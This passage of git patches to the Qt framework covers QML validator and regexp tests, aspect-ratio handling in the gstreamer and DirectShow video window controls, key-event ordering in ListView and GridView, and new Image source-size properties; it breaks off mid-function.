0c81548..efe7570 100644 --- a/tests/auto/declarative/qdeclarativetextinput/data/validators.qml +++ b/tests/auto/declarative/qdeclarativetextinput/data/validators.qml @@ -9,14 +9,13 @@ Item { Column{ TextInput { id: intInput; - validator: QIntValidator{top: 11; bottom: 2} + validator: IntValidator{top: 11; bottom: 2} } TextInput { id: dblInput; - validator: QDoubleValidator{top: 12.12; bottom: 2.93; decimals: 2; notation: QDoubleValidator.StandardNotation} + validator: DoubleValidator{top: 12.12; bottom: 2.93; decimals: 2; notation: DoubleValidator.StandardNotation} } TextInput { id: strInput; - //Requires QTBUG-8025 to be implemented first - //validator: QRegExpValidator { regExp: /[a-zA-z]{2,4}/;} + validator: RegExpValidator { regExp: RegExp(/[a-zA-z]{2,4}/) } } } diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index febcec3..84e7182 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -463,7 +463,6 @@ void tst_qdeclarativetextinput::validators() QVERIFY(strInput->hasFocus() == true); QTest::keyPress(canvas, Qt::Key_1); QTest::keyRelease(canvas, Qt::Key_1, Qt::NoModifier ,10); - QEXPECT_FAIL("","Will not work until QTBUG-8025 is resolved", Abort); QCOMPARE(strInput->text(), QLatin1String("")); QCOMPARE(strInput->hasAcceptableInput(), false); QTest::keyPress(canvas, Qt::Key_A); -- cgit v0.12 From f096fb75c20b82e89e74bb48b7e82fcdfe3f06de Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 26 Mar 2010 12:22:01 +1000 Subject: Add autotest for QTBUG-9367. --- tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml | 7 +++++++ tests/auto/declarative/qdeclarativeecmascript/testtypes.h | 5 +++++ .../qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp | 11 +++++++++++ 3 files changed, 23 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml b/tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml new file mode 100644 index 0000000..0dc404b --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml @@ -0,0 +1,7 @@ +import Qt.test 1.0 + +MyQmlObject{ + id: obj + objectName: "obj" + regExp: /[a-zA-z]/ +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h index 72dc3bb..faad8b7 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h @@ -90,6 +90,7 @@ class MyQmlObject : public QObject Q_PROPERTY(QObject *objectProperty READ objectProperty WRITE setObjectProperty NOTIFY objectChanged) Q_PROPERTY(QDeclarativeListProperty objectListProperty READ objectListProperty CONSTANT) Q_PROPERTY(int resettableProperty READ resettableProperty WRITE setResettableProperty RESET resetProperty) + Q_PROPERTY(QRegExp regExp READ regExp WRITE setRegExp) public: MyQmlObject(): m_methodCalled(false), m_methodIntCalled(false), m_object(0), m_value(0), m_resetProperty(13) {} @@ -138,6 +139,9 @@ public: void setResettableProperty(int v) { m_resetProperty = v; } void resetProperty() { m_resetProperty = 13; } + QRegExp regExp() { return m_regExp; } + void setRegExp(const QRegExp ®Exp) { m_regExp = regExp; } + signals: void basicSignal(); void argumentSignal(int a, QString b, qreal c); @@ -162,6 +166,7 @@ private: QList m_objectQList; int m_value; int m_resetProperty; + QRegExp m_regExp; }; QML_DECLARE_TYPEINFO(MyQmlObject, QML_HAS_ATTACHED_PROPERTIES) diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 87d73a0..041fd4d 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -131,6 +131,7 @@ private slots: void bug1(); void dynamicCreationCrash(); + void regExpBug(); void callQtInvokables(); private: @@ -1241,6 +1242,16 @@ void tst_qdeclarativeecmascript::dynamicCreationCrash() QVERIFY(created == 0); } +//QTBUG-9367 +void tst_qdeclarativeecmascript::regExpBug() +{ + QDeclarativeComponent component(&engine, TEST_FILE("regExp.qml")); + MyQmlObject *object = qobject_cast(component.create()); + QVERIFY(object != 0); + QEXPECT_FAIL("", "QTBUG-9367", Continue); + QCOMPARE(object->regExp().pattern(), QLatin1String("[a-zA-z]")); +} + void tst_qdeclarativeecmascript::callQtInvokables() { MyInvokableObject o; -- cgit v0.12 From 6da3b5b7e49c17cb7159eb9fd752abe45c1e2fac Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 26 Mar 2010 12:38:49 +1000 Subject: Update test. --- tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml index 1c1b3f8..cc64c3f 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml @@ -85,12 +85,10 @@ Rectangle { } color: ListView.isCurrentItem ? "lightsteelblue" : "white" ListView.onRemove: SequentialAnimation { - ScriptAction { script: console.log("Fix PropertyAction with attached properties") } -/* PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: true } NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" } PropertyAction { target: wrapper; property: "ListView.delayRemove"; value: false } -*/ + } } }, -- cgit v0.12 From d19ad17aed345433ab34cf165ccd7c7ddf917c19 Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Fri, 26 Mar 2010 12:48:13 +1000 Subject: Support the Expanding aspect ratio mode in the gstreamer window control. Reviewed-by: Dmytro Poplavskiy Task-number: QTBUG-9118 --- .../gstreamer/qgstreamervideooverlay.cpp | 19 +++++++++++++++++-- .../mediaservices/gstreamer/qx11videosurface.cpp | 10 ++++++++++ .../mediaservices/gstreamer/qx11videosurface.h | 3 +++ 3 files changed, 30 insertions(+), 2 deletions(-) diff --git a/src/plugins/mediaservices/gstreamer/qgstreamervideooverlay.cpp b/src/plugins/mediaservices/gstreamer/qgstreamervideooverlay.cpp index 427d514..f381f7f 100644 --- a/src/plugins/mediaservices/gstreamer/qgstreamervideooverlay.cpp +++ b/src/plugins/mediaservices/gstreamer/qgstreamervideooverlay.cpp @@ -192,21 +192,36 @@ void QGstreamerVideoOverlay::surfaceFormatChanged() void QGstreamerVideoOverlay::setScaledDisplayRect() { + QRect formatViewport = m_surface->surfaceFormat().viewport(); + switch (m_aspectRatioMode) { case Qt::KeepAspectRatio: { - QSize size = m_surface->surfaceFormat().viewport().size(); - + QSize size = m_surface->surfaceFormat().sizeHint(); size.scale(m_displayRect.size(), Qt::KeepAspectRatio); QRect rect(QPoint(0, 0), size); rect.moveCenter(m_displayRect.center()); m_surface->setDisplayRect(rect); + m_surface->setViewport(formatViewport); } break; case Qt::IgnoreAspectRatio: m_surface->setDisplayRect(m_displayRect); + m_surface->setViewport(formatViewport); + break; + case Qt::KeepAspectRatioByExpanding: + { + QSize size = m_displayRect.size(); + size.scale(m_surface->surfaceFormat().sizeHint(), Qt::KeepAspectRatio); + + QRect viewport(QPoint(0, 0), size); + viewport.moveCenter(formatViewport.center()); + + m_surface->setDisplayRect(m_displayRect); + m_surface->setViewport(viewport); + } break; }; } diff --git a/src/plugins/mediaservices/gstreamer/qx11videosurface.cpp b/src/plugins/mediaservices/gstreamer/qx11videosurface.cpp index cbd5a76..70b8527 100644 --- a/src/plugins/mediaservices/gstreamer/qx11videosurface.cpp +++ b/src/plugins/mediaservices/gstreamer/qx11videosurface.cpp @@ -213,6 +213,16 @@ void QX11VideoSurface::setDisplayRect(const QRect &rect) m_displayRect = rect; } +QRect QX11VideoSurface::viewport() const +{ + return m_viewport; +} + +void QX11VideoSurface::setViewport(const QRect &rect) +{ + m_viewport = rect; +} + int QX11VideoSurface::brightness() const { return getAttribute("XV_BRIGHTNESS", m_brightnessRange.first, m_brightnessRange.second); diff --git a/src/plugins/mediaservices/gstreamer/qx11videosurface.h b/src/plugins/mediaservices/gstreamer/qx11videosurface.h index 1be963e..10f79a6 100644 --- a/src/plugins/mediaservices/gstreamer/qx11videosurface.h +++ b/src/plugins/mediaservices/gstreamer/qx11videosurface.h @@ -67,6 +67,9 @@ public: QRect displayRect() const; void setDisplayRect(const QRect &rect); + QRect viewport() const; + void setViewport(const QRect &rect); + int brightness() const; void setBrightness(int brightness); -- cgit v0.12 From ef312b121470ec662ff6c861d02f880026e786b0 Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Fri, 26 Mar 2010 13:06:37 +1000 Subject: Support expanding aspect ratio in direct show video window control. Task-number: QTBUG-9118 Reviewed-by: Dmytro Poplavskiy --- .../mediaplayer/directshowplayerservice.cpp | 7 +++ .../mediaplayer/directshowplayerservice.h | 3 +- .../mediaplayer/vmr9videowindowcontrol.cpp | 59 +++++++++++----------- .../mediaplayer/vmr9videowindowcontrol.h | 4 ++ 4 files changed, 43 insertions(+), 30 deletions(-) diff --git a/src/plugins/mediaservices/directshow/mediaplayer/directshowplayerservice.cpp b/src/plugins/mediaservices/directshow/mediaplayer/directshowplayerservice.cpp index d54d188..a5f143f 100644 --- a/src/plugins/mediaservices/directshow/mediaplayer/directshowplayerservice.cpp +++ b/src/plugins/mediaservices/directshow/mediaplayer/directshowplayerservice.cpp @@ -191,6 +191,8 @@ void DirectShowPlayerService::load(const QMediaContent &media, QIODevice *stream m_atEnd = false; m_metaDataControl->updateGraph(0, 0); + QCoreApplication::postEvent(this, new QEvent(QEvent::Type(VideoOutputChange))); + if (m_resources.isEmpty() && !stream) { m_pendingTasks = 0; m_graphStatus = NoMedia; @@ -464,6 +466,8 @@ void DirectShowPlayerService::doRender(QMutexLocker *locker) QCoreApplication::postEvent(this, new QEvent(QEvent::Type(Error))); } + QCoreApplication::postEvent(this, new QEvent(QEvent::Type(VideoOutputChange))); + m_executedTasks |= Render; } } @@ -1144,6 +1148,9 @@ void DirectShowPlayerService::customEvent(QEvent *event) QMutexLocker locker(&m_mutex); m_playerControl->updatePosition(m_position); + } else if (event->type() == QEvent::Type(VideoOutputChange)) { + if (m_videoWindowControl) + m_videoWindowControl->updateNativeSize(); } else { QMediaService::customEvent(event); } diff --git a/src/plugins/mediaservices/directshow/mediaplayer/directshowplayerservice.h b/src/plugins/mediaservices/directshow/mediaplayer/directshowplayerservice.h index 23515d0..d3ef809 100644 --- a/src/plugins/mediaservices/directshow/mediaplayer/directshowplayerservice.h +++ b/src/plugins/mediaservices/directshow/mediaplayer/directshowplayerservice.h @@ -164,7 +164,8 @@ private: DurationChange, StatusChange, EndOfMedia, - PositionChange + PositionChange, + VideoOutputChange }; enum GraphStatus diff --git a/src/plugins/mediaservices/directshow/mediaplayer/vmr9videowindowcontrol.cpp b/src/plugins/mediaservices/directshow/mediaplayer/vmr9videowindowcontrol.cpp index 4b9aeb8..e25dd99 100644 --- a/src/plugins/mediaservices/directshow/mediaplayer/vmr9videowindowcontrol.cpp +++ b/src/plugins/mediaservices/directshow/mediaplayer/vmr9videowindowcontrol.cpp @@ -51,6 +51,7 @@ Vmr9VideoWindowControl::Vmr9VideoWindowControl(QObject *parent) , m_filter(com_new(CLSID_VideoMixingRenderer9, IID_IBaseFilter)) , m_windowId(0) , m_dirtyValues(0) + , m_aspectRatioMode(Qt::KeepAspectRatio) , m_brightness(0) , m_contrast(0) , m_hue(0) @@ -90,33 +91,30 @@ void Vmr9VideoWindowControl::setWinId(WId id) QRect Vmr9VideoWindowControl::displayRect() const { - QRect rect; - - if (IVMRWindowlessControl9 *control = com_cast( - m_filter, IID_IVMRWindowlessControl9)) { - RECT sourceRect; - RECT displayRect; - - if (control->GetVideoPosition(&sourceRect, &displayRect) == S_OK) { - rect = QRect( - displayRect.left, - displayRect.bottom, - displayRect.right - displayRect.left, - displayRect.bottom - displayRect.top); - } - control->Release(); - } - return rect; + return m_displayRect; } void Vmr9VideoWindowControl::setDisplayRect(const QRect &rect) { + m_displayRect = rect; + if (IVMRWindowlessControl9 *control = com_cast( m_filter, IID_IVMRWindowlessControl9)) { RECT sourceRect = { 0, 0, 0, 0 }; RECT displayRect = { rect.left(), rect.top(), rect.right(), rect.bottom() }; control->GetNativeVideoSize(&sourceRect.right, &sourceRect.bottom, 0, 0); + + if (m_aspectRatioMode == Qt::KeepAspectRatioByExpanding) { + QSize clippedSize = rect.size(); + clippedSize.scale(sourceRect.right, sourceRect.bottom, Qt::KeepAspectRatio); + + sourceRect.left = (sourceRect.right - clippedSize.width()) / 2; + sourceRect.top = (sourceRect.bottom - clippedSize.height()) / 2; + sourceRect.right = sourceRect.left + clippedSize.width(); + sourceRect.bottom = sourceRect.top + clippedSize.height(); + } + control->SetVideoPosition(&sourceRect, &displayRect); control->Release(); } @@ -134,7 +132,6 @@ void Vmr9VideoWindowControl::setFullScreen(bool fullScreen) void Vmr9VideoWindowControl::repaint() { - if (QWidget *widget = QWidget::find(m_windowId)) { HDC dc = widget->getDC(); if (IVMRWindowlessControl9 *control = com_cast( @@ -164,21 +161,13 @@ QSize Vmr9VideoWindowControl::nativeSize() const Qt::AspectRatioMode Vmr9VideoWindowControl::aspectRatioMode() const { - Qt::AspectRatioMode mode = Qt::KeepAspectRatio; - - if (IVMRWindowlessControl9 *control = com_cast( - m_filter, IID_IVMRWindowlessControl9)) { - DWORD arMode; - - if (control->GetAspectRatioMode(&arMode) == S_OK && arMode == VMR9ARMode_None) - mode = Qt::IgnoreAspectRatio; - control->Release(); - } - return mode; + return m_aspectRatioMode; } void Vmr9VideoWindowControl::setAspectRatioMode(Qt::AspectRatioMode mode) { + m_aspectRatioMode = mode; + if (IVMRWindowlessControl9 *control = com_cast( m_filter, IID_IVMRWindowlessControl9)) { switch (mode) { @@ -188,10 +177,15 @@ void Vmr9VideoWindowControl::setAspectRatioMode(Qt::AspectRatioMode mode) case Qt::KeepAspectRatio: control->SetAspectRatioMode(VMR9ARMode_LetterBox); break; + case Qt::KeepAspectRatioByExpanding: + control->SetAspectRatioMode(VMR9ARMode_LetterBox); + break; default: break; } control->Release(); + + setDisplayRect(m_displayRect); } } @@ -259,6 +253,13 @@ void Vmr9VideoWindowControl::setSaturation(int saturation) emit saturationChanged(saturation); } +void Vmr9VideoWindowControl::updateNativeSize() +{ + setDisplayRect(m_displayRect); + + emit nativeSizeChanged(); +} + void Vmr9VideoWindowControl::setProcAmpValues() { if (IVMRMixerControl9 *control = com_cast(m_filter, IID_IVMRMixerControl9)) { diff --git a/src/plugins/mediaservices/directshow/mediaplayer/vmr9videowindowcontrol.h b/src/plugins/mediaservices/directshow/mediaplayer/vmr9videowindowcontrol.h index bf4fb42..beac433 100644 --- a/src/plugins/mediaservices/directshow/mediaplayer/vmr9videowindowcontrol.h +++ b/src/plugins/mediaservices/directshow/mediaplayer/vmr9videowindowcontrol.h @@ -90,6 +90,8 @@ public: int saturation() const; void setSaturation(int saturation); + void updateNativeSize(); + private: void setProcAmpValues(); float scaleProcAmpValue( @@ -98,6 +100,8 @@ private: IBaseFilter *m_filter; WId m_windowId; DWORD m_dirtyValues; + Qt::AspectRatioMode m_aspectRatioMode; + QRect m_displayRect; int m_brightness; int m_contrast; int m_hue; -- cgit v0.12 From 31461202c1ee2979f88f9642192ab53a2bc7e8cf Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Fri, 26 Mar 2010 13:19:51 +1000 Subject: Don't specify a BottomToTop scan line direction for YUV frames. A positive image height is supposed to indicate BottomToTop scan line direction, but this would seem to be true for RGB formats. Reviewed-by: Dmytro Poplavskiy --- .../directshow/mediaplayer/directshowmediatype.cpp | 28 +++++++++++++++++----- 1 file changed, 22 insertions(+), 6 deletions(-) diff --git a/src/plugins/mediaservices/directshow/mediaplayer/directshowmediatype.cpp b/src/plugins/mediaservices/directshow/mediaplayer/directshowmediatype.cpp index cf6d45b..f8f519d 100644 --- a/src/plugins/mediaservices/directshow/mediaplayer/directshowmediatype.cpp +++ b/src/plugins/mediaservices/directshow/mediaplayer/directshowmediatype.cpp @@ -130,9 +130,17 @@ QVideoSurfaceFormat DirectShowMediaType::formatFromType(const AM_MEDIA_TYPE &typ if (header->AvgTimePerFrame > 0) format.setFrameRate(10000 /header->AvgTimePerFrame); - format.setScanLineDirection(header->bmiHeader.biHeight < 0 - ? QVideoSurfaceFormat::TopToBottom - : QVideoSurfaceFormat::BottomToTop); + switch (qt_typeLookup[i].pixelFormat) { + case QVideoFrame::Format_RGB32: + case QVideoFrame::Format_BGR24: + case QVideoFrame::Format_RGB565: + case QVideoFrame::Format_RGB555: + if (header->bmiHeader.biHeight >= 0) + format.setScanLineDirection(QVideoSurfaceFormat::BottomToTop); + break; + default: + break; + } return format; } else if (IsEqualGUID(type.formattype, FORMAT_VideoInfo2)) { @@ -145,9 +153,17 @@ QVideoSurfaceFormat DirectShowMediaType::formatFromType(const AM_MEDIA_TYPE &typ if (header->AvgTimePerFrame > 0) format.setFrameRate(10000 / header->AvgTimePerFrame); - format.setScanLineDirection(header->bmiHeader.biHeight < 0 - ? QVideoSurfaceFormat::TopToBottom - : QVideoSurfaceFormat::BottomToTop); + switch (qt_typeLookup[i].pixelFormat) { + case QVideoFrame::Format_RGB32: + case QVideoFrame::Format_BGR24: + case QVideoFrame::Format_RGB565: + case QVideoFrame::Format_RGB555: + if (header->bmiHeader.biHeight >= 0) + format.setScanLineDirection(QVideoSurfaceFormat::BottomToTop); + break; + default: + break; + } return format; } -- cgit v0.12 From 33f7ae1c2edf7c414a5f8b3af79c9529718c29b1 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Fri, 26 Mar 2010 14:28:44 +1000 Subject: Do not call parent implementation if we accept the keyPressEvent in GridView and ListView delegates. --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 6 +++--- src/declarative/graphicsitems/qdeclarativelistview.cpp | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index de0cb04..17f74db 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1552,9 +1552,6 @@ qreal QDeclarativeGridView::maxXExtent() const void QDeclarativeGridView::keyPressEvent(QKeyEvent *event) { Q_D(QDeclarativeGridView); - QDeclarativeFlickable::keyPressEvent(event); - if (event->isAccepted()) - return; if (d->model && d->model->count() && d->interactive) { d->moveReason = QDeclarativeGridViewPrivate::SetIndex; int oldCurrent = currentIndex(); @@ -1580,6 +1577,9 @@ void QDeclarativeGridView::keyPressEvent(QKeyEvent *event) } } d->moveReason = QDeclarativeGridViewPrivate::Other; + QDeclarativeFlickable::keyPressEvent(event); + if (event->isAccepted()) + return; event->ignore(); } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 8a70c07..85fcc27 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -2124,9 +2124,6 @@ qreal QDeclarativeListView::maxXExtent() const void QDeclarativeListView::keyPressEvent(QKeyEvent *event) { Q_D(QDeclarativeListView); - QDeclarativeFlickable::keyPressEvent(event); - if (event->isAccepted()) - return; if (d->model && d->model->count() && d->interactive) { if ((d->orient == QDeclarativeListView::Horizontal && event->key() == Qt::Key_Left) @@ -2151,6 +2148,9 @@ void QDeclarativeListView::keyPressEvent(QKeyEvent *event) } } } + QDeclarativeFlickable::keyPressEvent(event); + if (event->isAccepted()) + return; event->ignore(); } -- cgit v0.12 From 09a40e13174b9f34007ce9fbd98e06b4e48c1954 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Fri, 26 Mar 2010 14:33:04 +1000 Subject: Control of image rendered size (esp. SVG). Add Translate transform. Image::sourceWidth and Image::sourceHeight read/write properties. Task-number: QTBUG-8984 --- examples/declarative/images/content/lemonade.jpg | Bin 0 -> 6645 bytes examples/declarative/images/images.qml | 70 +++++++++ src/declarative/graphicsitems/graphicsitems.pri | 2 + .../graphicsitems/qdeclarativeborderimage.cpp | 23 +-- .../graphicsitems/qdeclarativeimage.cpp | 26 ++++ .../graphicsitems/qdeclarativeimagebase.cpp | 58 ++++++- .../graphicsitems/qdeclarativeimagebase_p.h | 9 ++ .../graphicsitems/qdeclarativeimagebase_p_p.h | 2 + src/declarative/graphicsitems/qdeclarativeitem.cpp | 38 ++++- .../graphicsitems/qdeclarativeitemsmodule.cpp | 2 + .../graphicsitems/qdeclarativetranslate.cpp | 159 +++++++++++++++++++ .../graphicsitems/qdeclarativetranslate_p.h | 92 +++++++++++ src/declarative/util/qdeclarativepixmapcache.cpp | 172 ++++++++++++++------- src/declarative/util/qdeclarativepixmapcache_p.h | 9 +- .../declarative/qdeclarativeimage/data/big.jpeg | Bin 0 -> 1700081 bytes .../declarative/qdeclarativeimage/data/big256.png | Bin 0 -> 3566 bytes .../declarative/qdeclarativeimage/data/heart.png | Bin 0 -> 12577 bytes .../declarative/qdeclarativeimage/data/heart.svg | 55 +++++++ .../qdeclarativeimage/data/heart200.png | Bin 0 -> 8063 bytes .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 65 +++++++- 20 files changed, 696 insertions(+), 86 deletions(-) create mode 100644 examples/declarative/images/content/lemonade.jpg create mode 100644 examples/declarative/images/images.qml create mode 100644 src/declarative/graphicsitems/qdeclarativetranslate.cpp create mode 100644 src/declarative/graphicsitems/qdeclarativetranslate_p.h create mode 100644 tests/auto/declarative/qdeclarativeimage/data/big.jpeg create mode 100644 tests/auto/declarative/qdeclarativeimage/data/big256.png create mode 100644 tests/auto/declarative/qdeclarativeimage/data/heart.png create mode 100644 tests/auto/declarative/qdeclarativeimage/data/heart.svg create mode 100644 tests/auto/declarative/qdeclarativeimage/data/heart200.png diff --git a/examples/declarative/images/content/lemonade.jpg b/examples/declarative/images/content/lemonade.jpg new file mode 100644 index 0000000..db445c9 Binary files /dev/null and b/examples/declarative/images/content/lemonade.jpg differ diff --git a/examples/declarative/images/images.qml b/examples/declarative/images/images.qml new file mode 100644 index 0000000..82848df --- /dev/null +++ b/examples/declarative/images/images.qml @@ -0,0 +1,70 @@ +import Qt 4.6 + +Rectangle { + color: "white" + width: grid.width + 50 + height: grid.height + 50 + + Grid { + x: 25; y: 25 + id: grid + columns: 3 + + Image { + source: "content/lemonade.jpg" + } + + Image { + sourceWidth: 50 + sourceHeight: 50 + source: "content/lemonade.jpg" + } + + Image { + sourceWidth: 50 + sourceHeight: 50 + smooth: true + source: "content/lemonade.jpg" + } + + Image { + scale: 1/3 + source: "content/lemonade.jpg" + } + + Image { + scale: 1/3 + sourceWidth: 50 + sourceHeight: 50 + source: "content/lemonade.jpg" + } + + Image { + scale: 1/3 + sourceWidth: 50 + sourceHeight: 50 + smooth: true + source: "content/lemonade.jpg" + } + + Image { + width: 50; height: 50; transform: Translate { x: 50 } + source: "content/lemonade.jpg" + } + + Image { + width: 50; height: 50; transform: Translate { x: 50 } + sourceWidth: 50 + sourceHeight: 50 + source: "content/lemonade.jpg" + } + + Image { + width: 50; height: 50; transform: Translate { x: 50 } + sourceWidth: 50 + sourceHeight: 50 + smooth: true + source: "content/lemonade.jpg" + } + } +} diff --git a/src/declarative/graphicsitems/graphicsitems.pri b/src/declarative/graphicsitems/graphicsitems.pri index d30651b..af76a67 100644 --- a/src/declarative/graphicsitems/graphicsitems.pri +++ b/src/declarative/graphicsitems/graphicsitems.pri @@ -39,6 +39,7 @@ HEADERS += \ $$PWD/qdeclarativerepeater_p.h \ $$PWD/qdeclarativerepeater_p_p.h \ $$PWD/qdeclarativescalegrid_p_p.h \ + $$PWD/qdeclarativetranslate_p.h \ $$PWD/qdeclarativetextinput_p.h \ $$PWD/qdeclarativetextinput_p_p.h \ $$PWD/qdeclarativetextedit_p.h \ @@ -75,6 +76,7 @@ SOURCES += \ $$PWD/qdeclarativerectangle.cpp \ $$PWD/qdeclarativerepeater.cpp \ $$PWD/qdeclarativescalegrid.cpp \ + $$PWD/qdeclarativetranslate.cpp \ $$PWD/qdeclarativetextinput.cpp \ $$PWD/qdeclarativetext.cpp \ $$PWD/qdeclarativetextedit.cpp \ diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index f92c207..96f95f2 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -217,7 +217,8 @@ void QDeclarativeBorderImage::load() thisSciRequestFinished, Qt::DirectConnection); } } else { - QDeclarativePixmapReply::Status status = QDeclarativePixmapCache::get(d->url, &d->pix, d->async); + QSize impsize; + QDeclarativePixmapReply::Status status = QDeclarativePixmapCache::get(d->url, &d->pix, &impsize, d->async); if (status != QDeclarativePixmapReply::Ready && status != QDeclarativePixmapReply::Error) { QDeclarativePixmapReply *reply = QDeclarativePixmapCache::request(qmlEngine(this), d->url); d->pendingPixmapCache = true; @@ -226,8 +227,8 @@ void QDeclarativeBorderImage::load() this, SLOT(requestProgress(qint64,qint64))); } else { //### should be unified with requestFinished - setImplicitWidth(d->pix.width()); - setImplicitHeight(d->pix.height()); + setImplicitWidth(impsize.width()); + setImplicitHeight(impsize.height()); if (d->pix.isNull()) d->status = Error; @@ -336,7 +337,8 @@ void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledIma d->verticalTileMode = sci.verticalTileRule(); d->sciurl = d->url.resolved(QUrl(sci.pixmapUrl())); - QDeclarativePixmapReply::Status status = QDeclarativePixmapCache::get(d->sciurl, &d->pix, d->async); + QSize impsize; + QDeclarativePixmapReply::Status status = QDeclarativePixmapCache::get(d->sciurl, &d->pix, &impsize, d->async); if (status != QDeclarativePixmapReply::Ready && status != QDeclarativePixmapReply::Error) { QDeclarativePixmapReply *reply = QDeclarativePixmapCache::request(qmlEngine(this), d->sciurl); d->sciPendingPixmapCache = true; @@ -362,8 +364,8 @@ void QDeclarativeBorderImage::setGridScaledImage(const QDeclarativeGridScaledIma thisRequestProgress, Qt::DirectConnection); } else { //### should be unified with requestFinished - setImplicitWidth(d->pix.width()); - setImplicitHeight(d->pix.height()); + setImplicitWidth(impsize.width()); + setImplicitHeight(impsize.height()); if (d->pix.isNull()) d->status = Error; @@ -381,16 +383,17 @@ void QDeclarativeBorderImage::requestFinished() { Q_D(QDeclarativeBorderImage); + QSize impsize; if (d->url.path().endsWith(QLatin1String(".sci"))) { d->sciPendingPixmapCache = false; - QDeclarativePixmapCache::get(d->sciurl, &d->pix, d->async); + QDeclarativePixmapCache::get(d->sciurl, &d->pix, &impsize, d->async); } else { d->pendingPixmapCache = false; - if (QDeclarativePixmapCache::get(d->url, &d->pix, d->async) != QDeclarativePixmapReply::Ready) + if (QDeclarativePixmapCache::get(d->url, &d->pix, &impsize, d->async) != QDeclarativePixmapReply::Ready) d->status = Error; } - setImplicitWidth(d->pix.width()); - setImplicitHeight(d->pix.height()); + setImplicitWidth(impsize.width()); + setImplicitHeight(impsize.height()); if (d->status == Loading) d->status = Ready; diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index 425976f..8b93063 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -266,6 +266,32 @@ qreal QDeclarativeImage::paintedHeight() const filtering at the beginning of the animation and reenable it at the conclusion. */ +/*! + \qmlproperty int Image::sourceWidth + \qmlproperty int Image::sourceHeight + + These properties are the size of the loaded image, in pixels. + + If you set these properties explicitly, you can to control the storage + used by a loaded image. The image will be scaled down if its intrinsic size + is greater than these values. + + Unlike setting the width and height properties, which merely scale the painting + of the image, these properties affect the number of pixels stored. + + \e{Changing these properties dynamically will lead to the image source being reloaded, + potentially even from the network if it is not in the disk cache.} + + If the source is an instrinsically scalable image (eg. SVG), these properties + determine the size of the loaded image regardless of intrinsic size. You should + avoid changing these properties dynamically - rendering an SVG is \e slow compared + to an image. + + If the source is a non-scalable image (eg. JPEG), the loaded image will + be no greater than these properties specify. For some formats (currently only JPEG), + the whole image will never actually be loaded into memory. +*/ + void QDeclarativeImage::updatePaintedGeometry() { Q_D(QDeclarativeImage); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index e65c9d1..3b75a85 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -116,6 +116,41 @@ void QDeclarativeImageBase::setSource(const QUrl &url) load(); } +void QDeclarativeImageBase::setSourceWidth(int w) +{ + Q_D(QDeclarativeImageBase); + if (d->sourcewidth == w) + return; + d->sourcewidth = w; + emit sourceSizeChanged(); + if (isComponentComplete()) + load(); +} + +int QDeclarativeImageBase::sourceWidth() const +{ + Q_D(const QDeclarativeImageBase); + return d->sourcewidth <= 0 ? implicitWidth() : d->sourcewidth; +} + +void QDeclarativeImageBase::setSourceHeight(int h) +{ + Q_D(QDeclarativeImageBase); + if (d->sourceheight 